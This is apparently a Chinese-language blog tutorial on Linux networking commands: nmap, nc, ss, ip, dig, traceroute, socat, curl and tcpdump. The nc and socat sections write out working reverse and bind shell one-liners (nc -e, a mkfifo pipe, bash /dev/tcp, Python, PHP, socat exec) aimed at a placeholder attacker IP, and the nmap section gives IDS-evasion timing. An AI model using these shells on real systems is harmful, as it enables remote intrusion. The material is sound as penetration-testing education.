Linux 网络相关命令

在 Linux 系统管理和网络安全实践中,掌握一些关键的网络命令是必不可少的。它们能帮助我们快速诊断网络问题、探测开放端口、传输数据,甚至是进行一些高级的网络操作。本文将深入了解 nmapnclsofnetstatsocatkill 这些强大的工具。

nmap:网络探测

nmap(Network Mapper)是一个功能强大的开源网络探测和安全审计工具。它可以用来扫描大型网络,也可以用于单个主机的端口扫描和操作系统识别。下面我们来看看它的一些核心用法和常用参数:

  • 基本端口扫描:TCP 连接扫描 -sT
    -sT 选项告诉 nmap 执行 TCP 连接扫描,这是一种通过完成完整的 TCP 三次握手来确定端口是否开放的方式。它相对准确,但容易被防火墙记录。

    nmap -sT -p- 172.28.187.62

    这里 -p- 是一个非常实用的参数,它表示扫描所有端口(从 1 到 65535)。如果你只关心特定端口,也可以指定端口范围,比如 -p 22,80,443,8000-9000

  • 更隐蔽的扫描:SYN 扫描 -sS
    -sSnmap 默认的扫描方式,也被称为半开放扫描或 Stealth Scan。它发送一个 SYN 包,如果收到 SYN/ACK 则表示端口开放,然后立即发送 RST 包断开连接,避免完成三次握手。这种方式更隐蔽,效率也更高,但通常需要 root 权限。

    nmap -sS 192.168.1.1 # 扫描默认常用端口
    nmap -sS -p 80,443 192.168.1.100 # 扫描指定Web端口
  • UDP 端口扫描:-sU
    UDP 端口扫描通常比 TCP 扫描慢,因为 UDP 没有连接状态,nmap 需要等待超时或特定的响应。但对于发现 DNS、SNMP、NTP 等 UDP 服务非常有用。

    nmap -sU -p 53,161 192.168.1.1 # 扫描DNS和SNMP端口
  • 服务与版本探测:-sV
    -sV 选项可以帮助我们探测目标主机上开放端口运行的服务及其版本信息。这对于了解目标系统的构成和潜在漏洞非常有帮助。

    nmap -sV 192.168.1.1 # 探测目标开放服务的版本
  • 操作系统探测:-O
    通过分析 TCP/IP 协议栈的指纹信息,nmap 可以尝试识别目标主机的操作系统类型和版本。

    nmap -O 192.168.1.1
  • 全面的扫描:Aggressive 模式 -A
    -A 选项是 -sV -O -sC --traceroute 的集合,它会执行服务版本探测、操作系统探测、脚本扫描(nmap 内置脚本)、以及路由跟踪。这是一种非常全面但耗时较长的扫描模式。

    nmap -A 192.168.1.1
  • 控制扫描速度与隐蔽性:Timing 模板 -T
    nmap 提供了 6 个 timing 模板(0-5),用于控制扫描速度和资源消耗。数字越大,扫描速度越快,但隐蔽性越差,也更容易被 IDS/IPS 发现。

    • T0 (Paranoid):非常慢,用于躲避 IDS。
    • T1 (Sneaky):较慢,也用于躲避 IDS。
    • T2 (Polite):礼貌模式,减慢速度,减少目标负载。
    • T3 (Normal):默认模式,动态调整扫描速度。
    • T4 (Aggressive):加速模式,假设你网络状况良好且愿意承受一些风险。
    • T5 (Insane):最快模式,不推荐在生产环境使用。
    nmap -sS -T4 192.168.1.1 # 以积极模式进行SYN扫描
  • 跳过 Ping 扫描:-Pn
    默认情况下,nmap 会先对目标进行 Ping 探测,确认主机是否在线。如果目标主机配置了防火墙,禁用了 ICMP 响应,那么直接 Ping 扫描可能会失败。-Pn 选项会跳过主机发现阶段,直接进行端口扫描。

    nmap -Pn -p 80 192.168.1.1 # 跳过Ping,直接扫描80端口

组合使用示例:

nmap -A -T4 -Pn -v 172.28.187.62

nmap 可谓黑客入门利器

nc:网络连接的“瑞士军刀”

nc(Netcat),常被称为网络工具中的“瑞士军刀”,因为它能够创建几乎所有类型的 TCP 和 UDP 连接。它既可以用于端口扫描,也可以用于文件传输、简单聊天,甚至是建立反向 Shell。

  • 端口扫描示例
    -z 选项指示 nc 仅扫描打开的端口,而不发送任何数据;-v 用于获取更详细的信息。

    nc -z -v 192.168.8.51 4000-4004

    这会快速检测 192.168.8.51 主机上 4000 到 4004 范围内的哪些端口是开放的。

nc 常用参数

为了避免过于冗余,这里只列出 nc 最常用和最关键的几个参数:

  • -l:使用监听模式,等待传入的连接。
  • -p <通信端口>:设置本地主机使用的通信端口。通常与 -l 配合使用。
  • -v:显示指令执行过程,提供详细输出。
  • -z:使用 0 输入/输出模式,只在扫描通信端口时使用,不发送数据。
  • -u:使用 UDP 传输协议(默认为 TCP)。
  • -w <超时秒数>:设置等待连接或发送/接收数据的超时时间。
  • -e <程序>:在建立连接后执行指定的程序。这个参数在一些旧版本或特定编译的 nc 中可用,但在大多数现代 Linux 发行版中出于安全考虑通常会被禁用。

nc 用法示例

1. 端口扫描 (已在上文提及,这里不再重复)

2. 文件传输

nc 可以方便地在两台机器之间传输文件。

  • 接收端(监听)
    在接收文件的机器上执行,监听一个端口并将收到的数据保存到文件。
    nc -l 4444 > received_file.txt
  • 发送端(连接)
    在发送文件的机器上执行,连接到接收端并发送文件内容。
    nc 192.168.0.85 4444 < local_file.txt
    这个例子展示了如何将 local_file.txt 的内容通过 nc 发送到 192.168.0.85 的 4444 端口,接收端会将其保存为 received_file.txt

3. 简单聊天

建立一个简单的文本聊天室:

  • 监听端(比如在 192.168.2.34 上):
    nc -lvp 1234
  • 连接端(比如在 192.168.2.33 上):
    nc 192.168.2.34 1234
    这样,两端就可以通过输入文本进行实时交流了。使用 Ctrl+C 退出。

4. nc 反弹 Shell

在渗透测试和安全领域,nc 反弹 Shell 是一个非常实用的技巧,尤其是在目标机器有出站连接限制,但允许出站到特定端口的情况下。

Unix 系统上通常都预装有 nc,但 -e 选项出于安全原因,在很多发行版中默认不编译。

方法一:使用 -e 参数(如果目标机支持)

  • 正向 Shell(攻击机连接目标机监听的 Shell)

    • 目标机器(监听并暴露 Shell):
      nc -lvvp 7777 -e /bin/bash
    • 攻击机(连接目标机的 Shell):
      nc 目标ip 7777
  • 反向 Shell(目标机连接攻击机监听的端口,将 Shell 反弹回来)
    这是更常见的场景,因为目标机通常允许出站连接。

    • 攻击机(监听等待 Shell):
      nc -lvp 7777
    • 目标机器(连接攻击机并反弹 Shell):
      nc -e /bin/bash 攻击机ip 7777

方法二:利用命名管道(当 nc-e 参数时)

如果目标 nc 没有 -e 参数,但目标机器上有 mkfifo(或 mknod),则可以尝试利用命名管道:

  1. 在目标机器上创建命名管道

    mkfifo /tmp/backpipe
    # 或者用mknod
    # mknod /tmp/backpipe p
  2. 通过管道将 Shell 输出重定向到 nc,同时 nc 的输入连接到 Shell

    /bin/sh 0</tmp/backpipe | nc 攻击机ip listenport 1>/tmp/backpipe

    这个命令的意思是:将 /bin/sh 的标准输入(0)重定向到 /tmp/backpipe,然后将 nc 的输出(1)重定向回 /tmp/backpipe,从而形成一个循环,实现了交互式 Shell。

  3. 攻击机(监听等待 Shell):

    nc -lvp 7777

方法三:基于目标机器环境的反向 Shell (更普适)

这种方法不依赖 nc-e 参数,而是利用目标机器上常见的其他语言环境或特性。

  • 1. Bash 反弹 Shell
    对于大多数 Linux 系统都适用,只要有 Bash。

    • 目标机器
      bash -i >& /dev/tcp/攻击机ip/7777 0>&1
    • 攻击机
      nc -lvp 7777
  • 2. Python 反弹 Shell
    只要目标机器安装了 Python (2 或 3 均可)。

    • 目标机器
      python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('127.0.0.1',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
      请将 '127.0.0.1',7777 替换为 ('攻击机ip', 监听端口)
    • 攻击机
      nc -lvp 7777
  • 3. PHP 反弹 Shell
    如果目标机器是 Web 服务器且支持 PHP。需要 PHP 的 safe_mode 关闭,且 exec 函数可用。

    • 目标机器
      php -r '$sock=fsockopen("攻击机ip",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
    • 攻击机
      nc -lvp 7777
  • Shell 优化
    有时反弹回来的 Shell 不是完全交互式的,可能无法使用 Ctrl+C 或历史命令。可以通过以下命令将其转换为常规的 Shell:

    python -c 'import pty;pty.spawn("/bin/bash")'

lsof & netstat & ss

排查端口占用是家常便饭。这里有三位选手:经典老将 netstat、万物皆文件的 lsof,以及后起之秀 ss

netstat

netstat 是一个经典的工具,用于显示网络连接、路由表等信息。ntulp 这个参数组合拳,相信很多人都烂熟于心了。

  • -t: tcp
  • -u: udp
  • -n: numeric (数字显示)
  • -l: listen (监听状态)
  • -p: program (程序名/PID)
# 经典用法:查看所有正在监听的 TCP 和 UDP 端口及对应程序
netstat -ntulp

# 配合 grep 快速查找特定端口,比如 3306
netstat -ntulp | grep :3306

lsof

lsof (list open files) 思想更 “Unix” 一点,它把网络连接也看作是文件。所以用它查端口占用,直截了当。

# 核心用法:查找哪个进程占用了 8080 端口
lsof -i:8080

# 找到之后,PID 也就到手了
# lsof -c abc:显示abc进程现在打开的文件
# lsof -p 1234:列出进程号为1234的进程所打开的文件

ss

ss (socket statistics) 是 netstat 的继任者,专为高性能和获取更多TCP状态信息而设计。在如今的 Linux 系统上,我更推荐使用 ss,因为它直接从内核空间获取信息,速度更快,尤其是在连接数非常多的服务器上。

它的参数和 netstat 高度兼容,迁移成本几乎为零。

# netstat -ntulp 的 ss 版本,用法一模一样
ss -ntulp

# ss 还能显示更详细的 TCP 连接信息,比如连接的内部计时器
ss -ti

ip:网络配置管理

ip 命令是 ifconfigroute 等传统网络工具的现代替代品,功能更强大,输出更一致。它用于显示、设置和管理 Linux 内核的网络协议、路由、策略路由和隧道。可以说,掌握 ip 命令是现代 Linux 网络管理的基础。

  • 查看网卡信息
    想知道你的机器有哪些网卡,它们的 IP 地址、MAC 地址和状态吗?ip addr 让你一目了然。

    ip addr show         # 显示所有网络接口的详细信息
    ip a                 # ip addr show 的简写
    ip a show eth0       # 只看eth0网卡的信息,精准定位
  • 设置 IP 地址
    临时给网卡添加一个 IP 地址或者删除一个 IP。

    sudo ip addr add 192.168.1.100/24 dev eth0     # 给eth0添加一个IP地址
    sudo ip addr del 192.168.1.100/24 dev eth0     # 删除eth0上的一个IP地址

    注意:这些更改是临时的,重启网络服务或系统后会失效。要永久修改,需要编辑网络配置文件(如 /etc/network/interfaces/etc/sysconfig/network-scripts/ifcfg-eth0,具体取决于你的发行版)。

  • 查看路由表
    网络不通?看看路由表是不是配置错了,或者有没有默认路由。

    ip route show       # 显示完整的路由表
    ip r                # ip route show 的简写
    ip route show table main # 通常默认路由都在main表
  • 添加/删除路由
    如果你需要将流量路由到特定的网络,比如通过 VPN 或跳板机。

    sudo ip route add default via 192.168.1.1 dev eth0  # 添加默认网关
    sudo ip route del default via 192.168.1.1 dev eth0  # 删除默认网关
    sudo ip route add 192.168.2.0/24 via 192.168.1.254  # 添加到特定网络的路由
  • 查看 ARP 缓存
    想知道你的机器是如何将 IP 地址映射到 MAC 地址的?

    ip neigh show       # 显示 ARP/邻居缓存表
    ip n                # ip neigh show 的简写

dig / nslookup / host:DNS 查询

网络通信离不开 DNS 解析,这几个命令就是用来查询 DNS 信息的。它们可以帮助你诊断域名解析问题,比如网站打不开、邮件发不出去等。

  • dig:DNS 信息挖掘机
    dig (Domain Information Groper) 是最强大、最灵活的 DNS 查询工具,它能提供非常详细的 DNS 记录信息。

    dig www.example.com          # 查询www.example.com的A记录
    dig @8.8.8.8 www.example.com # 指定DNS服务器查询
    dig www.example.com MX       # 查询邮件交换记录 (MX record)
    dig www.example.com CNAME    # 查询别名记录 (CNAME record)
    dig -x 8.8.8.8               # 反向查询IP地址对应的域名 (PTR record)
  • nslookup:老牌 DNS 查询工具
    nslookup 也是一个常用的 DNS 查询工具,但它在一些系统上已被 dighost 取代。

    nslookup www.example.com
    nslookup 8.8.8.8
  • host:简单快捷的 DNS 查询
    host 命令比 dig 更简洁,输出也更易读,适合快速查询域名信息。

    host www.example.com
    host 8.8.8.8

traceroute & tracepath & mtr

ping 告诉我们目标不可达时,traceroute (或 tracepath) 就能帮助我们找到问题出在哪里,具体是哪个路由器导致了连接中断。它显示数据包从源主机到目的主机所经过的所有路由器(跳点)。

  • 基本路由追踪

    traceroute www.google.com # 追踪到谷歌的路由路径
    traceroute -p 80 baidu.com # 追踪到百度80端口的路由路径 (TCP或UDP模式)

    默认情况下,traceroute 使用 UDP 数据包(目标端口通常是 33434 开始递增),但也可以指定使用 ICMP 或 TCP。

  • tracepath:更友好的路径追踪
    tracepathtraceroute 的一个更简单的替代品,通常不需要 root 权限(因为它不依赖于特权端口),并且会发现 MTU(最大传输单元)路径。

    tracepath baidu.com # 追踪到百度的路径,并显示MTU

    tracepath 在很多情况下能提供足够的信息,而且可能更方便。

mtr (My Traceroute),可以把它看作是 tracerouteping 的合体增强版。它会持续地探测路径,并实时显示每一跳的延迟和丢包率。

# 运行 mtr,静静观察哪一跳的丢包率 (Loss%) 异常
mtr k3ppf0r.com

socat:高级版“瑞士军刀”

socat 是 Linux 下一个非常强大的多功能网络工具,其名称来源于 “Socket CAT”。它常被视为 netcat 的加强版,因为它能在两个数据流之间建立复杂的通道,并支持众多协议和连接方式。例如,它可以处理 IP、TCP、UDP、IPv6、PIPE、EXEC、System、Open、Proxy、OpenSSL、Socket 等。

socat 的核心思想是:在两个 address(地址)之间建立一个数据传输通道。每个 address 类似于一个文件描述符,socat 所做的就是在这两个地址之间传递数据。

socat [options] <address1> <address2>

常用的 address 描述方式包括:

  • -:表示标准输入/输出 (STDIN/STDOUT)。
  • TCP:<host>:<port>:建立一个 TCP 连接。
  • TCP-LISTEN:<port>:建立一个 TCP 监听端口。
  • UDP:<host>:<port>:建立一个 UDP 连接。
  • UDP-LISTEN:<port>:建立一个 UDP 监听端口。
  • EXEC:<command>:执行一个程序,将其标准输入/输出作为数据流。
  • OPEN:<file>:打开一个文件作为数据流。

这些描述后可以附加一些选项,用逗号隔开,例如 fork (为每个新连接创建一个子进程)、reuseaddr (允许端口重用) 等。

socat 常用示例

1. 网络连接与监听

  • 连接远程端口

    socat - TCP:192.168.1.252:3306

    这将连接到远程主机的 3306 端口,并将本地标准输入/输出与该连接绑定。

  • 监听新端口

    socat TCP-LISTEN:7000 -

    监听本地 7000 端口,并将所有传入数据转发到标准输出,同时将标准输入发送给连接方。

2. 端口转发 (Port Forwarding)

socat 在端口转发方面非常灵活和强大,尤其适用于没有 iptables 权限或需要更精细控制的场景。

  • 转发 TCP 流量
    将本地 192.168.1.252 网卡上的 15672 端口流量转发至 172.17.0.1515672 端口。
    socat TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672
    这里的参数含义:
    • TCP4-LISTEN:15672:在本地建立一个 IPv4 TCP 监听器,监听 15672 端口。
    • bind=192.168.1.252:指定监听绑定的 IP 地址。
    • reuseaddr:允许端口重用,防止“地址已使用”错误。
    • fork:为每个新传入的连接创建一个子进程处理,这样可以同时处理多个连接。
    • TCP4:172.17.0.15:15672:指定要转发到的目标 IP 和端口。

3. 文件传递

socat 也能方便地进行文件传输。

  • 发送文件 (在发送方):

    socat -u OPEN:demo.tar.gz TCP-LISTEN:2000,reuseaddr

    这会将 demo.tar.gz 文件的内容通过 2000 端口发送出去。-u 表示数据传输模式为单向,从左侧地址到右侧地址。

  • 接收文件 (在接收方):

    socat -u TCP:192.168.1.252:2000 OPEN:received_demo.tar.gz,create

    这会连接到发送方的 2000 端口,并将接收到的数据保存为 received_demo.tar.gzcreate 选项表示如果文件不存在则创建它。

4. 反弹交互式 Shell

nc 类似,socat 也可以用来建立正向或反向 Shell,并且通常能提供更好的交互性。

  • 攻击机(监听等待 Shell)

    socat -,raw,echo=0 tcp-listen:7005

    这里 - 是标准输入/输出,raw,echo=0 用于提供更原生的终端体验。

  • 目标机器(连接攻击机并反弹 Shell)

    socat tcp-connect:192.168.1.252:7005 exec:'bash -li',pty,stderr,setsid,sigint,sane

    这条命令会连接到攻击机的 7005 端口,并将一个交互式的 Bash Shell(通过 exec:'bash -li',pty,stderr,setsid,sigint,sane 参数)反弹过去。这些参数是为了确保 Shell 的交互性(伪终端 pty,错误流 stderr,新的会话 setsid,处理中断信号 sigint 等)。

5. 让 Socat 后台运行

如果想让 socat 命令在后台持续运行,即使关闭终端也正常工作,可以使用 nohup& 符号。

nohup socat TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672 &

除了 nohup,你还可以使用 screentmux 等终端复用工具,它们能提供更灵活的会话管理。

curl

curl 它是一个功能极其强大的、用于和服务器进行数据传输的工具,尤其是在调试 HTTP/HTTPS 服务和 API 时。

# 检查一个网站的 HTTP 状态码和响应头 (-I 只请求 HEAD)
curl -I https://k3ppf0r.com

# 模拟发送一个 POST 请求,并附带 JSON 数据
curl -X POST -H "Content-Type: application/json" \
-d '{"name":"k3ppf0r", "action":"blog"}' \
https://api.example.com/v1/users

# -L 参数可以自动跟随 301/302 重定向
curl -L http://google.com

# 一个高阶技巧:测试接口响应时间
curl -o /dev/null -s -w "Total: %{time_total}s\n" https://k3ppf0r.com

tcpdump

tcpdump 就是你的网络显微镜,让你看到最原始的网络流量。(需要 root 权限)

# 监听 eth0 网卡上的所有流量 (谨慎!流量大会刷屏)
tcpdump -i eth0

# 只抓取和主机 192.168.1.100 相关的包
tcpdump -i eth0 host 192.168.1.100

# 只抓取 80 端口的包,并且不解析域名 (-n)
tcpdump -i eth0 -n port 80

# 终极用法:抓包并保存到文件,以便用 Wireshark 进行图形化分析
tcpdump -i eth0 -w capture.pcap port 443

tcpdump 在命令行里分析流量不太直观,但把它和 Wireshark 结合,先抓后分析,威力倍增。

参考文章


Linux 网络相关命令
https://k3ppf0r.pages.dev/2021/06/23/杂项配置/linux-网络相关命令/
作者
k3ppf0r
发布于
2021年6月23日
许可协议